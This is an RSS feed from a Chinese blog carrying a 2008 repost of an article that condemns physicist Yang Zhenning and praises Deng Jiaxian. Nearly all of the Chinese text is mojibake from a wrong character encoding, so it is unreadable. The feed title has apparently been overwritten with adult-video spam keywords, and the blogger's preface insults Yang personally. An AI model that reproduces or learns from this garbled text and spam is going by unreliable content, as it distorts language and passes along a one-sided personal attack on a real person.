锘??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲国产成人av好男人在线观看,国产精品电影观看,一区二区av在线http://www.shnenglu.com/saga/紿佸嚭閲嶇偣錛岀郴緇熷叏闈紝涓嶇暀姝昏zh-cnMon, 29 Sep 2025 21:43:39 GMTMon, 29 Sep 2025 21:43:39 GMT60[杞澆]娓呭崕瀛︾敓鎬掓壒鏉ㄦ尟瀹侊細涓嶅繝涓嶅瓭涓嶄粊涓嶄箟http://www.shnenglu.com/saga/archive/2008/06/16/53397.htmlsaga.constantinesaga.constantineSun, 15 Jun 2008 17:12:00 GMThttp://www.shnenglu.com/saga/archive/2008/06/16/53397.htmlhttp://www.shnenglu.com/saga/comments/53397.htmlhttp://www.shnenglu.com/saga/archive/2008/06/16/53397.html#Feedback15http://www.shnenglu.com/saga/comments/commentRss/53397.htmlhttp://www.shnenglu.com/saga/services/trackbacks/53397.html杞箣鍓嶆垜璇村嚑鍙ワ細
1錛屾湰鏂囧嚖鍑扮綉瀹℃牳閫氳繃 link:http://bbs.ifeng.com/viewthread.php?tid=3255187
2,   鎴戜篃鐪嬫潹鎸畞涓嶇埥錛岃繖涔堣涓嶇姱娉曞惂銆?br>a錛夐鍏堬紝浠栦笉瑕佹槸鑷繁鐖卞浗錛屼笉鐖卞浗鐨勪簨閮藉仛浜嗗氨涓嶈鍐嶈鑷繁鏄祦鐨勪腑鍥界殑琛浜嗐?br>b錛夊叾嬈★紝閫夋嫨鏄漢鑷繁鐨勮嚜鐢憋紝浣犳湁鏉冮夋嫨緹庡浗錛屾湁鏉冮夋嫨涓嶅洖鍥芥姉鎴樸傞偅涔堝綋鐒舵垜浠剻瑙嗕綘錛岄獋浣狅紝XX浣狅紝涔熸槸鎴戜滑鐨勮嚜鐢憋紝浣犲湪緹庡浗榪欎箞澶氬勾錛屽簲璇ヤ簡瑙h█璁鴻嚜鐢辯殑綺劇鍚с?br>c)   鍐嶆錛屾棦鐒朵綘閫夋嫨浜嗙編鍥斤紝鐜板湪灝變笉瑕佸洖鏉ャ傚洖鏉ユ壘楠傚晩銆俿b銆傝繕鍥炴潵騫蹭粈涔堬紵緹庡浗浜轟笉鎶婁綘褰撲簨浜嗭紝鍥炴潵鎵懼揩鎰熴備笂甯濇庝箞娌℃湁鍦ㄧ編鍥界粰浣犵ぜ鐗╁晩銆?br>鎬葷粨錛屾瘯绔熸槸鍦ㄥ啓鎴戣嚜宸辯殑鍗氬錛屽氨涓嶆庝箞鐢ㄦ伓蹇冪殑璇嶄簡錛屾諱箣錛屼綘鍜岀幇鍦ㄧ殑涓浗瓚崇悆鏈夌殑涓鎷鹼紝楠傝阿浜氶緳鐨勮瘽錛岋紝楠備綘涓嶄負榪囥?br>鎴戠殑鑷敱璦璁哄畬姣曘備笅闈㈣鐪嬫鏂囷細

娓呭崕瀛︾敓鎬掓壒鏉ㄦ尟瀹侊細涓嶅繝涓嶅瓭涓嶄粊涓嶄箟
鏉ㄦ尟瀹佽嚜宸卞鑷繁鐨勮瘎浠鳳細寰堝垢榪愬湴鍦ㄦ瘡涓涓夋嫨鐨勫叧澶翠綔浜嗗鑷繁浜虹敓鏈鏈夊埄鐨勯夋嫨銆備粬榪欐牱涓璇斀涔嬶紝鎺╃洊浜嗗叾璦涓嬩箣鎰忥紝娌℃湁鍍忛倱紼煎厛銆侀挶瀛︽.絳変漢鍐掓鍥炲浗錛屾槸鑷繁鐨勫垢榪愶紝鍥犱負榪欐牱鎵嶄笉浼氬湪鍥藉唴鑹拌嫤鐨勭幆澧冧腑鏃╂棭榪囦笘錛屼負紲栧浗浠樺嚭姣曠敓綺懼姏鑰屾棤娉曚韓鍙楀浗瀹剁殑瀵屽己鎵鎻愪緵鐨勪紭瓚婃潯浠跺拰涓婂笣鏈鍚庣殑紺肩墿銆?br>
鍏充簬鏉ㄦ尟瀹佷負浠涔堜笉鍥炲浗錛屾潹鍏堢敓鐨勫洖絳旀槸錛氬湪鎴戜箣鍓嶇殑涓浗浜鴻蕩嫻峰姹傚錛岄兘鏄鎴愬嵆鍥炲浗銆傚彲鏄綋鎴戞嬁鍒板崥澹浣嶄箣鏃訛紝闊╂垬鐖嗗彂錛岀編鍥戒笉鍏佽鐞嗗伐縐戝崥澹洖鍥斤紝鍥犳婊炵暀鍦ㄧ編鍥姐傝屼負浠涔堝姞鍏ョ編鍥藉浗綾嶏紵鏉ㄦ尟瀹佺殑鍥炵瓟鏄洜涓轟粬鎵鎸佺殑涓崕姘戝浗鎶ょ収鍦ㄥ嚭鍥芥梾娓哥璇佹椂闈炲父涓嶆柟渚匡紝鎵浠ュ姞鍏ョ編鍥藉浗綾嶃?br>
銆銆鏉ㄦ尟瀹佽皫璇濊繛綃?br>
銆銆鏉ㄦ尟瀹佽錛?#8220;鍦ㄦ垜浠ュ墠鐨勪竴浜涗腑鍥界暀瀛︾敓錛岀粷澶ч儴鍒嗛兘鍥炴潵浜嗙殑錛屾墍浠ユ垜鍒扮編鍥藉幓鐨勬椂鍊欙紝褰撴椂灝辨兂鏄幓閭e効瀛︽垚褰掑浗銆傚彲鏄垜鍦ㄥ仛鍗氬+鍚庣殑鏃跺欙紝鏉滈瞾闂ㄦ葷粺灝變笅浜嗕竴閬撳懡浠わ紝璇存槸涓浗琛緇熺殑浜哄湪緹庡浗寰椾簡鐞嗗伐鐨勫崥澹浣嶏紝涓嶅彲浠ュ洖涓浗銆傛墍浠ユ垜鐣欏湪緹庡浗浜嗐?#8221;銆

鍦ㄨ繖閲岋紝鎴戞兂璇村嚭蹇冮噷瑙夊緱寰堜笉鑸掓湇鐨勫嚑鍙ヨ瘽錛氬緢澶氬綋鏃跺嚭鍥界暀瀛︾殑鏉板嚭瀛﹁咃紝鎷跨殑閮芥槸鍗氬+瀛︿綅錛屼粬浠篃鐭ラ亾緹庡浗涓嶅厑璁鎬粬浠洖鏉ワ紝鍙槸錛屽浗瀹舵閬亣鑻﹂毦錛屽叓騫存姉鎴樸佷笁騫村唴鎴樹箣鍚庝腑鍥戒漢姘戝茍涓嶈兘瀹屽畬鍏ㄥ叏鍦扮珯绔嬪湪涓栫晫鐨勪笢鏂癸紝鏈変竴涓浗瀹朵綔涓轟笘鐣岀殑鍞竴闇鎬富錛屼笉鑲斁寮冨湪浜氭床鐨勫娍鍔涘瓨鍦紝鎵浠ワ紝褰撴憜鑴卞叓鍥借仈鍐涖佹憜鑴卞笣鍥戒富涔夐搧韞勪鏡鐣ョ殑涓崕姘戞棌姝f湁鏈轟細涓緇熶腑鍗庢澘鍧楋紝鑰屾棩鏈綔涓烘垬璐ュ浗鍦ㄤ簹媧插凡濂勫涓鎭棤娉曞疄鐜板湪浜氭床鐨勫疄鍔涘埗琛′箣鏃訛紝宸у鎻掓墜鏈濋矞鎴樹簤錛岃瘯鍥懼湪涓庝腑鍥戒笢鍖楁帴澹ょ殑鍦版柟寤虹珛涓涓個鍎″浗錛屽悓鏃剁壍鍒朵腑鍥戒笌鏃ユ湰錛屼篃鐗靛埗浜嗕腑鍥界粺涓鍙版咕鐨勬浼愩?br>
涔熻姝ゆ椂錛屼綔涓烘帉鎻′笘鐣屽厛榪涚墿鐞嗙瀛︽妧鏈殑欏跺皷縐戝瀹訛紝鐣欏湪涓栫晫涓婃渶寮虹殑鍥藉鏄竴縐?#8220;騫歌繍”鏈変竴鏁村縐戠爺鐜璁╁叾鏀鐧諱笘鐣岀瀛﹂珮宄幫紝涔熸湁浼樿秺鐨勭幆澧冿紝鍦ㄦ潹鎸畞涓冨叓騫村悗鑾峰緱璇鴻礉灝斿鍗沖彲鎷垮埌鏅灄鏂】50涓囩編鍏冪殑騫磋柂錛屽彲鏄潹鎸畞鏈夋病鏈夋兂鍒幫紝涓轟粈涔堢編鍥藉湪鍏崄騫翠唬緇欎粬濯茬編鍥介檯宸ㄦ槦鐨勫緟閬囷紵涓轟粈涔堟湁鍚屾椂璧寸編鐣欏鐨勯挶瀛︽.涓庣編鍥芥姉浜変竴騫撮浂鍏釜鏈堬紝鍘嗙粡緹庡浗鐨勮蔣紱佹姌紓ㄧ洿鍒板懆鎭╂潵鐢ㄦ湞椴滄垬浜夌殑鍗佸悕緹庡浗鎴樹繕鎶婁粬鎹㈠洖鍥斤紵涓轟粈涔堝悓鏍峰崥澹浣嶇殑閭撶鍏堜笉欏懼綋鏃剁姝㈢悊宸ョ鍗氬+鍥炲浗鐨勭浠や竴瀹氳鍥炲浗涓哄浗瀹跺畬鎴愬師瀛愬脊鐮旂┒鐨勪簨涓氾紵娌℃湁榪欎簺鎺屾彙鍥介檯鍏堣繘縐戠爺鎶鏈殑瀛﹁呭洖鏉ヤ負鍥藉鎵撲笅鍥介槻縐戞妧銆佹牳宸ヤ笟鐨勫熀紜錛屼腑鍥界幇鍦ㄦ湁鏉ㄦ尟瀹佸緱浠ヤ韓鍙楃殑鐜鍚楋紵

鏉ㄦ尟瀹佸洖閬垮茍蹇界暐浜嗕箣鍓嶅悓涓鎵瑰嚭鍥界暀瀛︿漢鍛樼殑璐$尞錛屽ぇ澶х偒鑰鍚瑰槝鑷繁鍦ㄧ編鐨勬垚灝憋紝騫墮紦鍔變笅涓浠g鐮斾漢鍛樿蛋榪欑“鏈夊埄浜庤嚜宸變漢鐢熺殑閫夋嫨”銆傚浜庣鍥界殑璁ゅ悓鍥犱負鍥藉鐨勬姢鐓у嚭鍥芥梾娓鎬笉鏂逛究灝辨姏寮冧簡錛屼粬榪樻湁浠涔堣祫鏍煎湪榪欓噷瀹f壃鑷繁鐨勬垚灝憋紝鏇寸粏鑷村叆寰殑姣旇緝鍜岃嚜宸卞悎浣滆繃鐨勭瀛﹀鍦ㄨ嚜宸辯殑縐戠爺鎴愭灉涓殑鎶曞叆錛屽獎灝勬潕鏀塊亾鏄偅縐嶄綔鍑?0錛呯殑璐$尞錛屼竴瀹氳璇磋嚜宸辨湁70錛呭姛鍔崇殑閭g浜恒?br>
鏉ㄦ尟瀹佽椽濠棤鑰伙紵

80騫翠唬銆?0騫翠唬鍒濓紝鍥藉唴榪樺緢絀風殑鏃跺欙紝浠栦笉鍥炲浗錛?1涓栫邯涓浗澶у閮藉彉瀵屼簡錛屽緟閬囨彁楂樹簡錛屼粬涔熻佸緱涓嶈浜嗭紝浠栨墠鎯寵搗鏉ヨ嚜宸卞緢“鐖卞浗”錛岃嚜宸辮娑查噷“嫻佺殑鏄腑鍥戒漢鐨勮”錛岀畝鐩村ぉ澶х殑絎戣瘽錛?br>
涓轟簡鎶珮鑷繁瑙勮寖鍦虹殑鍦頒綅錛屾妸鍜岃嚜宸卞悎浣滅殑綾沖皵鏂暀鎺堣鎴愭槸鎵鍦ㄧ殑淇勪亥淇勫ぇ瀛︿簲鍗佸勾鏉ユ墍鏈夌瀛︿笂鐨勮鏂囥佹棤璁恒佺敓鐗┿佹暟瀛︺佸寲瀛︺佽繕鏄叾瀹冪墿鐞嗗鎴愬氨錛岄兘娌℃湁綾沖皵鏂暀鎺堝拰鑷繁鍙戣〃鐨勮繖綃囪鏂囬噸瑕併?br>
浠ユ綾繪帹錛屼粠鏉ユ病鏈夊煿鑲茶繃璇鴻礉灝斿鑾峰緱鑰呯殑娓呭崕澶у錛岃繖涓鐧懼騫存潵鎵鏈夌鐮旀柟闈㈢殑鎴愬氨錛屾亹鎬曚篃娌℃湁鏉ㄦ尟瀹佷換浣曚竴綃囧皬鏂囩珷鐨勮礎鐚紝鎵浠ワ紝浠栭夋嫨80鍑犲瞾鍚庡洖鍥藉吇鑰侊紝璁╃鐮旇惤鍚庣殑涓浗瑙佽瘑涓涓嬪浗闄呯駭澶у笀錛屼篃灝辨笉寰楅《鐫鍥戒漢榪欎箞澶х殑璐ㄧ枒錛岃繋濞朵竴浣嶇濠氬湪鑱岀爺絀剁敓錛屽洜涓轟互浠栨墍浣滃嚭鐨勮礎鐚拰浜虹敓鎶夋嫨鐨勬垚鍔熷垽鏂紝鍦ㄤ換浣曟椂鍊欓兘瑕佷綔鍑烘湁鍒╀簬鑷繁鐨勯夋嫨錛岃佸勾鍥炲浗鍏昏佺殑鏉ㄦ尟瀹侊紝涓嶉夋嫨涓浣嶅鑷繁榪芥眰涓嶇煟鐨勫勾杞誨コ浜猴紝榪樿兘浣滃嚭浠涔堜綋鐜板叾浜虹敓綺炬槑鐨勫垽鏂拰浠峰肩殑鍛紵

鏉ㄦ尟瀹佽繖縐嶅洖閬塊噸鐐圭殑璇存硶錛屽湪涓繪寔浜烘寲鎺?1騫村洖鍥藉惉鍒伴倱紼煎厛璇村師瀛愬脊鏄畬鍏ㄩ潬涓浗浜鴻嚜宸辯爺絀跺仛鍑烘潵鐨勬垚鏋滄椂錛屾潹鎸畞涓轟粈涔堣惤娉殑鍘熷洜錛屾槸鍚﹀洜涓鴻嚜宸辯殑紲栧浗鑳戒綔鍑鴻繖鏍瘋嚜璞殑鎴愬氨錛岃屼綔涓烘悶榪欎竴琛屻佺墿鐞嗙爺絀剁殑欏跺皷縐戝瀹訛紝娌℃湁涓哄浗瀹跺敖涓浠藉姏鐨勯仐鎲撅紵鎴栨槸榪欓」鐮旂┒灞呯劧鐢辮嚜宸辯殑鏈嬪弸銆佺騫翠竴璧鋒垚闀夸竴璧風暀瀛︾殑閭撶鍏堝畬鎴愶紝鑰屾劅鍒版噴鎮斿憿錛熸潹鎸畞鐨勫洖絳旀槸寰堝縐嶆劅鎯呭弬鏉傚湪涓璧鳳紝涓嶆槸浠呬粎鍥犱負涓縐嶅師鍥犳墠姝笉浣忚惤娉?br>
瀵逛簬鏉ㄦ尟瀹佽繖縐嶅拰鏉庢斂閬撲簤鎵т簡鍗婁釜涓栫邯鐨勯《灝栫瀛﹀錛屼粬鎬庝箞浼氫笉鍦ㄦ剰鍥藉鍏抽敭鎬х殑縐戠爺鎴愬氨鏈夋病鏈夎嚜宸辯殑鍙備笌鍛紵鍙槸浣滀負鍥犱負鏃呮父絳捐瘉涓嶆柟渚垮氨鎶婅嚜宸辯殑鍥界睄鏀懼純鐨勪竴浣嶆墍璋撶編綾嶅崕浜猴紝浠栨潵璁茬埍鍥斤紝鎭愭曞彴鐙垎瀛愰兘瑕佽葷瑧錛岃瘯闂彴婀句袱鍗冨洓鐧句竾鍚岃優鏈夊灝戜漢鍥犱負涓栫晫涓婂彧鏈変簩鍗佷釜鍥藉鎵胯涓崕姘戝浗錛岃屼笌涓栫晫涓婂緢澶氬浗瀹跺嚭鐜扮璇侀夯鐑﹁屾斁寮冭嚜宸辯殑涓崕姘戝浗鍥界睄錛熸潹鎸畞鐜板湪榪樼敤榪欎釜鐞嗙敱鍑烘潵璁詫紝鏄笉鏄彁閱掑浗澶栫暀瀛︿漢鍛橈紝褰撲綘鐨勪腑鍥芥姢鐓т笉濂界敤錛岃刀蹇崲涓鏈編鍥界殑鍚э紝綆′粬鐖卞浗涓嶇埍鍥?#8220;鏈夊埄浜庤嚜宸?#8221;鎵嶆槸浼樺厛鑰冮噺銆?br>
娓呭崕鍦ㄤ腑鍥界殑鍘嗗彶涓婏紝铏界劧娌℃湁鍩瑰吇鍑鴻幏寰楄璐濆鐨勫浗闄呮х鐮斾笓瀹訛紝鍙槸涓烘柊涓浗鐨勫緩璁撅紝鍋氬嚭浜嗘墡瀹炶屼笉鍙楁斂娌婚姘斿獎鍝嶇殑濂夌尞銆傛棤璁哄湪鍥藉縐戝銆佸伐涓氥佺瓑鍚勬柟闈㈠緩璁鵑鍩燂紝閮藉睍鐜扮潃涓縐嶅嫟鍕ゆ伋鎭熾佸疄浜嬫眰鏄佷腑嫻佺牓鏌辯殑浣滅敤銆備篃璁鎬腑鍥戒竴璺蛋鏉ョ殑鍥藉姏錛岃繕娌℃湁鏉′歡浣滃嚭涓栫晫欏跺皷姘村鉤鐨勭瀛︾爺絀訛紝鍙槸鍥藉鍚勬柟闈㈠彂灞曠壒鍒槸宸ョ綾葷殑鍩虹鍜屾垚灝憋紝娓呭崕鍩瑰吇鍑烘潵鐨勪漢浠h〃涓縐嶉姘斻佷竴縐嶄綔椋庯紝榪欑椋庢皵鍜屼綔椋庯紝鏄兘澶熷湪鍚勭鏀挎不椋庢嘗鍜屾疆嫻佷腑錛屼緷鐒舵妸鎻″浗瀹跺緩璁劇殑瀹為檯宸ヤ綔錛屽摢鎬曞湪鏂囬潻鐨勭幆澧冧腑渚濈劧娌℃湁璁╁浗瀹剁殑鍥介槻縐戠爺銆佸熀紜鐮旂┒鍋滄粸鎴栨斁寮冿紝涓轟腑鍥界ぞ浼氭皯鐢熺殑鍙戝睍錛屽仛鍑虹鍚堜簨鐞嗙殑縐嶇瀹炲共涓庡熀鏈師鍒欍?br>
鍙槸鍦ㄤ粖澶╂竻鍗庡洯鐨勮繖嬈¤闂腑錛屾垜瑙夊緱寰堝涓滆タ鎵洸浜嗐傞氳繃鏆ф槯涓庝竴鑴稿井絎戠殑鐜嬪織錛屼粬鎵鎯寵鍙堜笉鏁㈢洿鎺ヨ鐨勯偅浜涙彁闂紝閫氳繃鏉ㄦ尟瀹佸緱鎰忎笌鑷垜鐐鐨勭縐嶅仛娉曪紝閫氳繃涓鏃佹弧瓚充笌嬈e枩鍦板弬涓庡綍褰辯殑緲佸竼錛屾垜鍙兘璇達紝涓浗鏀歸潻寮鏀劇殑紺句細瑙傚康鍐插嚮鐪熺殑澶ぇ浜嗭紝澶у埌鍗婁釜涓栫邯鍓嶄笉欏句竴鍒囧洖鍥藉鐚殑鑰佷竴杈堢瀛﹀鐨勭壓鐗查兘寰楅噸鏂板畾涔変笌鎬濊冧簡銆備篃璁擱氳繃榪欐鐨勬彁闂紝鏉ㄦ尟瀹佷細鍥炲繂璧峰綋騫翠粬鎵鍋氬嚭鐨勯夋嫨錛屽綋騫村惉鍒拌佹湅鍙嬪師瀛愬脊鏄腑鍥戒漢鑷繁鐮旂┒鍑烘潵鐨勪簨瀹為偅縐嶉渿鎾箋傚彲鏄粖澶╀粬鐨勯夋嫨銆佹竻鍗庣殑閫夋嫨銆佺縼灝忓鐨勯夋嫨銆侀兘涓嶆槸閭d箞涓鍥炰簨浜嗐?br>
鏇寸‘鍒囩殑瀹氫箟鏄細榪欐槸涓浣?0澶氬瞾榪樺洖鍥藉吇鑰佷韓鍙楀浗瀹剁壒孌婄収欏劇殑浼熷ぇ緹庣睄鍗庝漢縐戝瀹訛紝浠栬韓杈規槸浠栨櫄騫翠笂甯濇墍璧愪笌鐨勬渶鍚庝竴涓ぜ鐗╋紝鑰岃繖涓ぜ鐗╃幇鍦ㄤ篃灞炰簬緹庡浗錛屾竻鍗庢墍鍋氬嚭鐨勫法澶ф姇鍏ユ槸涓鴻繖涓瀵圭編綾嶅崕浜哄湪涓浗鐨勪環鍊煎鎵綔鍏ㄩ潰鑳屼功銆傛潹鎸畞瀵逛腑鍥芥渶澶х殑浠峰間綋鐜版槸鍏朵竴鐢熷湪浠諱綍鏃跺欓兘鍋氬嚭瀵圭殑閫夋嫨鈹鈹褰撶劧鏄浠栬嚜宸便傝繖涓亾鐞嗕篃鍚屾牱閫傜敤浜庣縼甯嗭紝涓浣?8宀佸珌緇?2宀佺編綾嶅崕浜虹殑騫磋交濂沖瓙銆傝繖鎭愭曟槸涓浗紺句細鏈勾搴︽渶鏈夌ぞ浼氫環鍊煎垽鏂殑閫夋嫨浜嗐傝屼粖鏅氾紝鏉ㄦ尟瀹佷負榪欎竴浠峰艱瀹氾紝浣滄渶瀹岀編鐨勮В閲娿?br>
鏉ㄦ尟瀹佺殑浜烘牸

涓涓漢瑕佹兂鍦ㄨ繖鏍蜂竴涓竻嫻婃販鏉傜殑紺句細閲屽共騫插噣鍑鍦拌蛋瀹岃嚜宸辯殑涓鐢燂紝寰堜笉瀹規槗錛岃嫢榪樿兘濂夌尞鍏ㄨ韓蹇冧簬鑷繁鐨勪簨涓氾紝涓旇兘鍙栧緱浼熷ぇ鐨勬垚鏋滐紝鍒欐洿闅俱?br>
涓浗涓ゅ脊鍏冨媼閭撶鍏堝氨鏄共騫插噣鍑鍦拌蛋瀹屼簡鑷繁涓鐢熺殑浜猴紝浠栧洜姝ゅ彈鍒頒漢浠殑鍠滅埍錛涗粬鍙堟槸涓涓皢鏁翠釜韜績濂夌尞浜庤嚜宸辯殑浜嬩笟鐨勪漢錛屽洜姝よ耽寰椾漢浠殑宕囨暚錛涗粬鏇存槸涓涓垚灝變赴鍔熶紵緇╃殑浜猴紝鍥犳浣夸漢浠敱琛峰湴閽︿僵鍜屾暚浠般?br>
鎵尟瀹佸拰閭撶鍏堟槸鍚屼埂錛屽垵涓悓瀛︼紝瑗垮崡鑱斿ぇ鍚屽錛屼竴璧峰潗鑸瑰幓緹庡浗鐣欏銆傚悗鏉ヤ袱浜烘湁鐫瀹屽叏涓嶉氱殑浠峰煎彇鍚戯紝璧頒笂浜嗗畬鍏ㄤ笉閫氱殑閬撹礬錛佹壃鎸畞鐣欏湪緹庡浗綣佸崕涓栫晫錛岄潬鑾峰緱璇鴻礉鍎垮錛屽嚭灝介澶達紝鏅氬勾榪樹笉鐢樺瘋瀵烇紒閭撶鍏堝綋騫存瘏鐒跺洖鍥斤紝涓轟腑鍗庢皯鏃忕殑涓ゅ脊涓鏄熷仛鍑轟簡鏉板嚭鐨勮礎鐚紒鍙儨鐨勬槸鐢變簬褰撳勾鐨勭鐮旇瘯楠屾潯浠舵湁闄愶紝浜鴻韓闃叉姢鏉′歡綆闄嬶紝閭撶鍏堢敱浜庢牳杈愬皠榪囧錛岃韓鎮g檶鐥囷紝鑻卞勾鏃╅濓紝瀹炰負鍥藉姘戞棌涔嬪ぇ孌囷紒浣嗗巻鍙蹭笉浼氬繕璁幫紝浜烘皯涓嶄細蹇樿錛屼粠鍘嗗彶鍜屽浗瀹惰搴︽潵璇達紝閭撶鍏堝繀灝嗗崈鍙ゆ祦鑺籌紝姘稿瀭涓嶆溄錛佹槸浠栵紝姘歌繙鐨勫瀹氫簡鏁翠釜涓崕姘戞棌鐨勬垬鐣ュ畨鍏ㄥ拰姘戞棌鍦頒綅錛佷笉綆¤繃澶氬皯騫達紝鎵鏈夌値榛勫瓙瀛欓兘灝嗗磭鏁粬錛?br>
鏉ㄦ尟瀹佷負涓浗浣滀簡浠涔堣礎鐚紵

鏉ㄦ尟瀹佽嚜宸變篃鎬葷粨璇達紝鎯蟲潵鎯沖幓錛岃嚜宸卞浜庝腑鍥界殑璐$尞錛岄《澶氫篃灝辨槸鑷繁鍜屾潕鏀塊亾鏄崕浜虹涓嬈″緱璇鴻礉灝斿錛屼粠鑰屾敼鍙樹簡涓浗浜鴻涓鴻嚜宸變笉濡備漢鐨勫績鐞嗐傚ぇ瀹剁湅鐪嬶紝榪欏氨鏄潹鎸畞瀵逛粬寰?#8220;鐖?#8221;鐨勭鍥界殑鏈澶ц礎鐚紒

鍦ㄤ竴嬈$垎鐐稿け璐ュ悗錛屽嚑涓崟浣嶅湪鎺ㄥ嵏璐d換銆備負浜嗘壘鍒扮湡姝g殑鍘熷洜錛屽繀欏繪湁浜哄埌閭i鍘熷瓙寮硅鎽旂鐨勫湴鏂瑰幓錛屾壘鍥炰竴浜涢噸瑕佺殑閮ㄤ歡銆傞倱紼煎厛璇達細“璋佷篃鍒幓錛屾垜榪涘幓鍚с備綘浠幓浜嗕篃鎵句笉鍒幫紝鐧藉彈姹℃煋銆傛垜鍋氱殑錛屾垜鐭ラ亾銆?#8221;浠栦竴涓漢璧拌繘浜嗛偅鐗囧湴鍖猴紝閭g墖鎰忓懗鐫姝諱骸涔嬪湴銆備粬寰堝揩鎵懼埌浜嗘牳寮瑰ご錛岀敤鎵嬫崸鐫錛岃蛋浜嗗嚭鏉ャ傛渶鍚庤瘉鏄庢槸闄嶈惤浼炵殑闂銆傚氨鏄繖涓嬈★紝浼忎笅浜嗕粬姝諱簬灝勭嚎涔嬩笅鐨勬鍥犮?br>
閭撶鍏堟湁涓嬈″紑浼氬湪瑗挎箹錛屼粬鎷夌潃鍚屼粊鍦?#8220;綺懼繝鎶ュ浗”閭e洓涓彜鎰忕泿鐒剁殑瀛楀墠鐓т簡涓寮犵浉鐗囥傝楣垮笇璇達紝閭撲笉鐖辯収鐩革紝浣嗚繖寮犵収鐗囨槸浠栬嚜宸辮鐓х殑銆傚綋鍒濋殢閭撶鍏堜竴璧鋒悶鍘熷瓙寮圭殑縐戝瀹訛紝鏈変簺涓旇岄浜嗐傚洜涓?#8220;娌℃湁縐戠爺鎴愭灉錛屼笉鑳藉搴洟鑱氾紝涓嶈浜插弸閫氫俊銆備綔涓虹煡璇嗗垎瀛愬拰鏅氫漢鐨勭敓媧匯佷箰瓚c佹潈鐩婏紝鏄繀欏葷壓鐗叉帀鐨勪簡銆?br>
鏉ㄦ尟瀹佺殑涓嶅繝涓嶅瓭涓嶄粊涓嶄箟!

涓嶅繝錛氭潹鎸畞鍏堢敓鍦ㄧ鍥芥渶鍥伴毦鐨勬椂鍊欐瘏鐒跺姞鍏ョ編鍥界睄錛岀埗浜插姖璇翠篃鏃犳晥錛屼笉鑲綊鍥芥晥鍔涖傛嬁鍒拌濂栫殑蹇楀緱鎰忔弧鐨勬潹鍥犱負涔頒笉鍒伴暱宀涚殑鎴垮瓙鑰胯夸簬鎬(鏈鍚庤繕鏄眻灞呭湪鏁欐巿鍖轟拱浜嗘埧瀛?

涓嶅瓭錛氬姞鍏ョ編鍥界睄錛屼負姝や簨鏉ㄧ殑鐖朵翰鍒版涔熸病鏈夊師璋呬粬錛屾槸涓轟笉瀛濄?br>
涓嶄粊:鍦ㄧ鍥藉瘜寮烘椂錛屽張鍦ㄤ笌鏌愬悕鐗屽ぇ瀛︾殑浜掔浉鍚規崸鐐掍綔涓紝鍥炲浗棰愬吇澶╁勾錛岃嚜浠庡洖鍥戒互鏉ワ紝涓滆蛋璧般佽タ閫涢涳紝蹇欑潃璧扮┐鐐掍綔錛屼笉鎰胯笍韙忓疄瀹炲仛宸ヤ綔銆?br>
涓嶄箟錛氱獌鏉庢斂閬撶殑鐮旂┒鎴愭灉錛屽緱璇鴻礉灝斿錛岃繕鍊氳佸崠鑰佺殑灝嗗悕瀛楀啓鍦ㄦ潕鏀塊亾鐨勫墠杈癸紝騫跺嚭涔︿笐鍖栨潕鏀塊亾錛涙潨澶漢鍒氬垰榪囦笘錛屽ぇ涓鐨勫熀紜鐗╃悊鍒氬紑璇句笉鍒板崐涓鏈燂紝灝變竴蹇冩兂鐫涓婂笣鐨勬渶鍚庝竴涓ぜ鐗?..

鎯蟲兂瀛︿綅姣曚笟7澶╋紝涓嶉【緹庡浗闃繪尃姣呯劧鍥炲浗鐨勯倱紼煎厛錛屼負涓浗鐨勫浗闃叉牳宸ヤ笟鍛曞績娌ヨ錛屽勾浠?2铏藉洜鏀懼皠鎬у獎鍝嶈韓鎮g檶鐥囧幓涓栥?br>
鎯蟲兂鍚岄亾鐨勬潕鏀塊亾鍏堢敓鏃╁勾姣呯劧鍥炲浗錛屼粠70騫翠唬璧鳳紝鏉庢斂閬撴暀鎺堜負涓浗鐨勬暀鑲蹭簨涓氬拰縐戞妧鏈殑鍙戝睍鍋氬嚭浜嗛噸澶х殑璐$尞銆備負浜嗗湪涓浗鍙戝睍楂樿兘鐗╃悊鍜屽緩绔嬮珮鑳藉姞閫熷櫒錛屽悗鏉ユ垚涓哄緩绔嬪寳浜璐熺數瀛愬鎾炴満(BEPC錛夈佸寳浜氨浠拰榪涜楂樿兘鐗╃悊瀹為獙鐨勯騫詫紱1982騫村綋鎴戝浗楂樿兘鐗╃悊浜嬩笟涓炬涓嶅畾鐨勫叧閿椂鍒伙紝浠栧府鍔╂垜鍥介夋嫨浜嗕竴涓棦鍏堣繘鍙堢鍚堝浗鎯呯殑BEPC鏂規錛屽茍鎴愪負褰撲粖涓栫晫涓婂湪c-τ鐗╃悊鐮旂┒鑳藉尯鍞竴鐨勯珮浜害鐢靛瓙瀵規挒鏈猴紝騫跺仛鍑轟簡閲嶈鐨勭墿鐞嗙粨鏋溿?br>
鎯蟲兂鍒氬垰榪囦笘鐨勯檲鐪佽韓鍏堢敓錛岀敓媧諱凱鏈淬佸嚭閽卞嚭鍔涖佸煿鍏誨紵瀛愩佸憰蹇冩播琛錛屼竴蹇冪鍥界瀛︿簨涓氾紝鐪熸嘲灞卞寳鏂椼傝韓涓虹瀛﹀錛屽簲褰撹鑼冭█琛岋紝鏍戝浜轟箣妤鋒ā錛?br>
浠庝竴浜涗互寰鐨勪紶璁板洖蹇嗕腑錛屽彲浠ュ緱鍑鴻繖鏍蜂竴涓粨璁猴細鏉ㄥ湪浜哄搧涓婁笉鍙婃潕姝i亾錛屼篃涓嶅強澶у鏁拌В鏀懼垵鍥炲浗鐨勭瀛﹀銆傜悊鐢憋細浠庡勾榫勪笂鐪嬶紝鏉庢瘮鏉ㄥ勾杞昏屽悓鏃惰幏濂栵紝鍙互鎺ㄧ煡鏉庢洿鏈夊垱閫犲姏錛岃屾潹姝ゅ悗鍗寸粡甯哥籂緙犱簬璁烘枃緗插悕鐨勪簨鎯咃紝浠庝腑鍥界ぞ浼氫紶緇熷彲浠ョ煡閬擄紝澶ф鏉ㄥ勾闀垮浜庨瀵煎湴浣嶏紝鑰屽叿浣撶殑浜嬫儏澶ч儴鍒嗙敱鏉庢潵瀹屾垚錛堝緢闅炬兂璞℃潕涓嶅共浠涔堜簨鍗村幓鎶㈠勾闀垮張騫茶澶氫簨鐨勬潹鐨勫姛鍔籌級錛屽ゥ鏈搗榛樹篃璋冨拰涓嶄簡銆?/div>

saga.constantine 2008-06-16 01:12 鍙戣〃璇勮
]]>
